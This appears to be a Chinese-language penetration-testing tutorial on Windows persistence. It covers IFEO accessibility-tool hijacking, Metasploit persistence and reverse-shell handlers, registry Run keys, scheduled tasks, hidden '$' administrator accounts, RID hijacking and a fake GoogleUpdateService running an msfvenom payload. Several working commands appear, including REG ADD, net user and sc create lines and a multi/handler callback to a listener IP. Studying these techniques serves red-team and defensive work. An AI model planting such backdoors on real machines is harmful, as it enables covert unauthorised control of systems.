windwos权限维持
权限维持简介
为了保证获取到的目标权限不会因为漏洞的修复而丢失,攻击者通常会在目标上安装一个后门,来保证对目标的持久化控制。
就是安装后门
系统工具替换后门
当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原 因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名 字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是 debugger, 通过该参数我们可以实现偷梁换柱。
常用辅助功能
- Shift(sethc)
- 屏幕键盘(osk)
- 辅助工具管理器(Utilman)
- 讲述人(Narrator)
简单演示
在对方开启rdp的情况之下,我们可以使用登录界面的,讲述人,放大镜等功能实现权限维持
也就是说,将对应的功能换成自己的payload
简介
Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),可以帮助特殊人士更容易地使用操作系统。
然而,这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。 这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。涉及到的注册表项为 IFEO(Image File Execution Options) ,默认是只有管理员和Local system有权读写修改。
1 |
|
关于注册表
可以理解为windwos的大型的数据库
使用win+r进入注册表
1 |
|
存储的数据都是windwos运行中需要使用的数据,程序运行,程序本生的信息都在注册表
然后根据上面的进行查找
可能发现就和我上截图一样发现并没有HKEY_LOCAL_MACHINE的文件夹,可能是用户权限不允许的原因
发现存在
原理
当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原 因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名 字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是 debugger, 通过该参数我们可以实现偷梁换柱。
就是劫持的原理,由于他不会检查路径所以我们直接放置我们的payload ,然后需要修改为劫持应用的名字,从而实现劫持
- Shift(sethc,粘滞键) 2. 屏幕键盘(osk) 3. 辅助工具管理器(Utilman) 4. 讲述人(Narrator)
例子
劫持ie
以修改IE启动程序为例,实现运行IE程序但是启动的却是cmd。
找到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 目录下的 iexplore.exe
添加一个debugger字符串键值,并且赋值为 cmd.exe 的执行路径
这里是需要执行什么就填什么的路径
1 |
|
如果发现没有explore.exe
程序的话,那就直接创建 一个项
然后将添加修改这个项
现在运行ie
就是cmd了
复原之后
也可以直接使用
reg
命令1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
现在模拟权限维持
上线之后
发现已经添加
劫持 Narrator
1 |
|
现在通过远程桌面连接,就直接返回到登录界面进行模拟
还是system权限注意,如果没有密码可能发现登陆不上
远程桌面连接也是一样的
劫持 Utilman 辅助管理器
1 |
|
notepad
实现原程序退出后,静默运行后门程序。从而执行notepad 为例,推出后静默运行calc.exe
1 |
|
我现在模拟运行cmd之后运行payload
1 |
|
MonitorProcess:表示监视器进程
ReportingMode:可以设置为以下三个值
0x1:LAUNCH_MONITORPROCESS,检测到进程静默退出时,将会启动监视器进程,即
MonitorProcess 的项值
0x2:LOCAL_DUMP,检测到进程静默退出时,将会为受监视的进程创建转储文件
0x3:NOTIFICATION,检查到进程静默退出时,将会弹出一个通知\
发现cmd不太行,但是我是用notepad 是可以的
msf
sticky_keys
Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。 该模块将用 CMD 替换辅助功能的二进制文件(sethc, osk, disp, utilman)。
1 |
|
TARGET 是粘滞键
成功添加
模拟访问
连按5次 shift
将Exe 换成我们指定的文件
连续按5次shift 之后
system权限的
查看Windows 之后发现这个被创建
msf
Persistence模块
重启触发
exploit/windows/local/persistence
Persistence 模块首先上传 vbs 脚本,然后执行vbs脚本修改注册表 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 或 HKLM\Software\Microsoft\Windows\CurrentVersion\Run从而完成自启动。
1 |
|
1 |
|
1 |
|
这个模块的原理,使用可以子自运行的注册表项,然后自运行
发现擦创建了对应的payload
查看注册表时发现是HKCU
发现并没有在注册表里,但是这个是缩写,缩写原则是前一个单词的前两个字母,和后两个单词的首字母
Autorunscript
获取shell的时候自动执行持续化脚本,可以被 Autorunscript 执行的命令目录在 metasploit/scripts/meterpreter。
persistence
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17meterpreter > run persistence -h
-A:自动启动一个匹配的漏洞/多/处理程序来连接到代理
-X:开机启动,注册表位置:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-U:当前用户登录后自启动,注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
-S:作为服务启动,注册表位置:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-T:选择要使用的可执行模板
-L:后门传到远程主机的位置默认为 %TEMP%
-P:使用的Payload,默认windows/meterpreter/reverse_tcp,
该默认的payload生成的后门为32位程序
因此,当目标机器为64位系统时,留下的后门将无法运行
-i:设置反向连接间隔时间,单位为秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址1
2
3
4
5
6
7use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.78.117
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.78.117 -p 5556 -U -X -i 30
exploit在创建handler 的时候指定运行的脚本,意思就是说当执行有连接的时候,就会触发这个
migrate
进程迁移操作
1 |
|
尝试迁移到具体的进程名字
发现参数指定错了
使用-n
进程迁移的原理
先获取指定的进程的句柄,从而打开这个进程,然后申请一个内存用于执行shellcode 然后使用内存复制的函数,将原来的shellcode 执行,从而实现了内存注入
可以考虑为,使用ce 修改单机游戏的内存然后获取数值 上面的添加
开机自启动的注册表项
使用这个方式的话,当受害者开机的话就会执行payload
注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:前者对所有用户有效,后者只对当前用户有效
run
每一次系统启动时都是按照顺序自动的执行。是自动运行最常用用的键
1 |
|
RunOnce
用来启动服务程序,启动时间再用户登录之前,而且先于其他通过注册键启动的程序
1 |
|
RunServiceOnce
用于启动服务,启动时间再用户登录之前,而且先于其他方式注册的自启动程序
启动时间为用户登录之前,但是现在操作系统是已经没有了,并且这个应该写入服务的程序,而不是exe
1 |
|
RunOnceSetup
指定了用户登录之后运行的程序
1 |
|
Load
1 |
|
这个感觉有一点奇怪
建一个字符串名为load 的键值,为自启动程序的路径,需要注意短文间名规则
如c:\Program Files 应该为c:\progra~1
Winlogon
1 |
|
找到 Userinit 键值,默认为 C:\Windows\system32\userinit.exe, 后面加路径,再加逗号 也可以。也能够使系统启动时自动初始化程序。比如:userinit.exe,OSA.exe
注意下面的 Notify、Shell 键值也会有自启动的程序,而且其键值可以用逗号分隔,从而实现
登录的时候启动多个程序。
示例
使用生成的反弹shell的payload
在 meterpreter 下执行
1 |
|
在目标cmd 下执行
1 |
|
Schtasks计划任务
这个方式很常用,可以定时执行我们指定的payload
Schtasks
创建test定时任务,每分钟执行一次5555.exe
1 |
|
命令解析
1 |
|
常用命令
1 |
|
schtasks命令详解: https://www.cnblogs.com/visoeclipse/archive/2009/08/29/1556240.html
schtasks+powershell
不推荐使用,不免杀,而且基本都会查杀
https://mp.weixin.qq.com/s/Tt6REDrPH-WWgMB-mIOnTA
利用PowerShell启动时执行Get-Variable执行恶意文件
将恶意程序放在 %APPDATA%\Local\Microsoft\WindowsApps 目录下并重命名为 Get-Variable.exe
创建计划任务实现持久化
1 |
|
该命令创建计划任务程序 COMSurrogate,该程序以隐藏的方式执行PowerShell。而执行 PowerShell 会启动恶意程序 GetVariable.exe,从而实现持久化。
原理:通过运行PowerShell时触发执行 Get-variable 来实现攻击
账户隐藏
就是创建一个隐藏用户,用户登录
隐藏用户的话通过 net user 是发现不了的,只有在控制面版里面的管理账户界面可以看到
1 |
|
结尾使用$
的意思就是隐藏用户
激活Guest用户( 推荐使用这个 )
1 |
|
RID 劫持
RID
Relative Identifier 相对标识符 Windows系统账户对应固定的RID:
500:Administrator
501:Guest
502:krbtgt(域)
512:Domain Admins(域)
513:Domain Users(域)
514:Domain Guests(域)
515:Domain Computers(域)
516:Domain Controllers(域)
SID
Security Identifiers 安全标识符
安全标识符用于唯一标识安全主体或安全组。 安全主体可以表示可由操作系统进行身份验证的任何实 体,例如用户帐户、计算机帐户或在用户或计算机帐户的安全上下文中运行的线程或进程。
https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/understand-security- identifiers
用户使用帐户名引用帐户,但是操作系统内部使用其安全标识符(SID)引用在帐户的安全上下文中运行 的帐户和进程。对于域帐户,通过将域的SD与该帐户的相对标识符(RID)串联来创建安全主体的SID。 SID在其范围内(域或本地)是唯一的,并且永不重用。
RID 劫持
通过覆写注册表数据,可以在被攻击设备上劫持任意用户的RID,并将其分配给另外一个用户
被劫持账户没有启用的情况,依旧可以达到劫持效果
被分配的用户拥有被劫持用户的权限
被分配用户的操作会以被劫持用户的身份留存事件日志
但是该方案是被杀毒软件查杀
1 |
|
用’$’创建匿名用户,并归到 administrators 用户组
1
2
3net user admin$ admin@123 /add /y
net localgroup administrators admin$ /add
net localgroup "remote desktop users" admin$ /add这个时候通过控制面板还是可以看到
将 administrator 用户对应的 Users 中的 F 值复制替换后门账户的 F值
导出匿名用户对应的sam目录下的注册表键值:
regedt32.exe 打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 键值,导出 Names 下用户目录以及对应的16进制目录。
注意:SAM 下的注册表选项需要获得 system 权限才能读取,因此需要给 Administrator 用户赋予 SAM 键值权限,默认是不允的。
或者直接修改 admin$ 用户的 F 值,把其中的 F2 03 修改为 F4 01 即可
首先找到这个sam 然后修改权限,不然是看不到数据的
administrarot 是完全可以控制
导出管理员账户的对应的值
查看这个值为1f4 对应就是500
找到我们创建的用户
然后导出该用户的对应值
然后将该用户导出来
双击就能导入
修改我们创建用户的F值
有两种方式
直接修改
注意这个值是反的
我们修改为管理员的f 值
修改导出的文件
将这个值直接粘贴成管理员用户的值
然后删除我们创建的用户
1
net user admin$ /del
删除之后导入admin$ 一套的reg文件
可以使用双击或者一下的命令
1
2regedit /s 1.reg
regedit /s 2.reg用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户,但是除了在注册表里 面有用户记录,其他地方都不存在用户的信息。net user 或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。
检查是否存在
成功隐藏
使用该用户登录,发现桌面和Administrator 的一样
警告是因为由于两个同时登录
文件夹启动
这个现在很少用到了
在每次开机或重启的时候就会运行启动文件夹下的程序
1 |
|
通过服务的方式自启动
生成一个可以与服务管理器交互的(防止下线)payload
1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.58.144 lport=8989 -f exe-service -o GoogleUpdate.exe
sc创建一个GoogleUpdateService服务,执行我们上传的木马
1
sc create GoogleUpdateService binPath= "C:\Windows\temp\GoogleUpdate.exe" displayname="GoogleUpdateService" start= auto
重启权限维持。